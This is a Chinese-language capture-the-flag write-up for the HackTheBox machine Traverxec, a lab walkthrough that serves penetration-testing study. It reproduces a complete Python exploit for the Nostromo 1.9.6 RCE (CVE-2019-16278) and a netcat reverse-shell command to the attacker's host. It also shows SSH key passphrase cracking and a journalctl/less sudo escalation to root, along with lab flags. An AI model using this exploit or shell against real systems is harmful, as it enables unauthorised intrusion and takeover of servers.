[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RSA解密+journalctl权限提升
字数 1079 2025-08-19 12:41:28
Traverxec靶机渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.165 --min-rate 1000 -sC -sV
扫描结果:
- 开放端口:
- 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u1
- 80/tcp: nostromo 1.9.6 HTTP服务器
1.2 Web服务识别
使用whatweb识别Web服务:
whatweb 10.10.10.165 -v
发现运行的是nostromo 1.9.6 Web服务器。
2. 漏洞利用阶段
2.1 Nostromo RCE漏洞(CVE-2019-16278)
搜索并利用nostromo的已知漏洞:
searchsploit nostromo
找到CVE-2019-16278漏洞利用脚本(47837.py),这是一个目录遍历和远程代码执行漏洞。
漏洞利用脚本内容:
#!/usr/bin/env python
import sys
import socket
art = '''
2019-16278
'''
help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'
def connect(soc):
response = ""
try:
while True:
connection = soc.recv(1024)
if len(connection) == 0:
break
response += connection.decode('utf-8')
except:
pass
return response
def cve(target, port, cmd):
soc = socket.socket()
soc.connect((target, int(port)))
payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
soc.send(payload.encode('utf-8'))
receive = connect(soc)
print(receive)
if __name__ == "__main__":
print(art)
try:
target = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
cve(target, port, cmd)
except IndexError:
print(help_menu)
2.2 获取初始shell
- 测试命令执行:
python2 cve2019_16278.py 10.10.10.165 80 id
- 获取反向shell:
python2 cve2019_16278.py 10.10.10.165 80 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.24 10032 >/tmp/f'
成功获取www-data权限的shell。
3. 权限提升至david用户
3.1 发现SSH备份文件
在david用户的public_www目录下发现备份文件:
ls -al /home/david/public_www/protected-file-area
发现backup-ssh-identity-files.tgz文件,使用base64编码传输:
base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
3.2 解密SSH私钥
- 解码并解压备份文件:
echo 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 |base64 -d > backup-ssh-identity-files.tgz
tar -zxvf backup-ssh-identity-files.tgz
- 获取david用户的SSH私钥:
cat home/david/.ssh/id_rsa
- 使用openssl检查私钥:
openssl rsa -in home/david/.ssh/id_rsa
- 使用John the Ripper破解私钥密码:
ssh2john home/david/.ssh/id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
发现密码为"hunter"。
- 转换私钥格式并登录:
openssl rsa -in home/david/.ssh/id_rsa -out id_rsa
chmod 600 id_rsa
ssh -i id_rsa david@10.10.10.165
成功获取david用户权限,找到user flag:
c4830294ae2b76864b388d4e54452bf1
4. 权限提升至root
4.1 分析sudo权限
检查david的sudo权限:
sudo -l
发现可以无需密码执行:
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
4.2 利用journalctl漏洞
- 分析server-stats.sh脚本:
cat /home/david/bin/server-stats.sh
该脚本通过journalctl返回nostromo服务日志的最后5行。journalctl会调用默认的分页程序(通常是less),而less可以被利用来执行shell命令。
- 利用方法:
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
在less界面中,输入:
!/bin/bash
这将启动一个root shell。
4.3 获取root flag
成功获取root权限后,找到root flag:
57ac9d01c8cbff939204951632535154
5. 总结
本靶机渗透测试的关键点:
- 通过Nostromo 1.9.6的CVE-2019-16278漏洞获取初始访问权限
- 发现并解密david用户的SSH私钥备份文件
- 利用journalctl的默认分页程序漏洞进行权限提升
防护建议:
- 及时更新Web服务器软件
- 避免将敏感文件(如SSH私钥)存储在Web可访问目录
- 限制sudo权限,避免使用危险命令
- 配置journalctl不使用交互式分页程序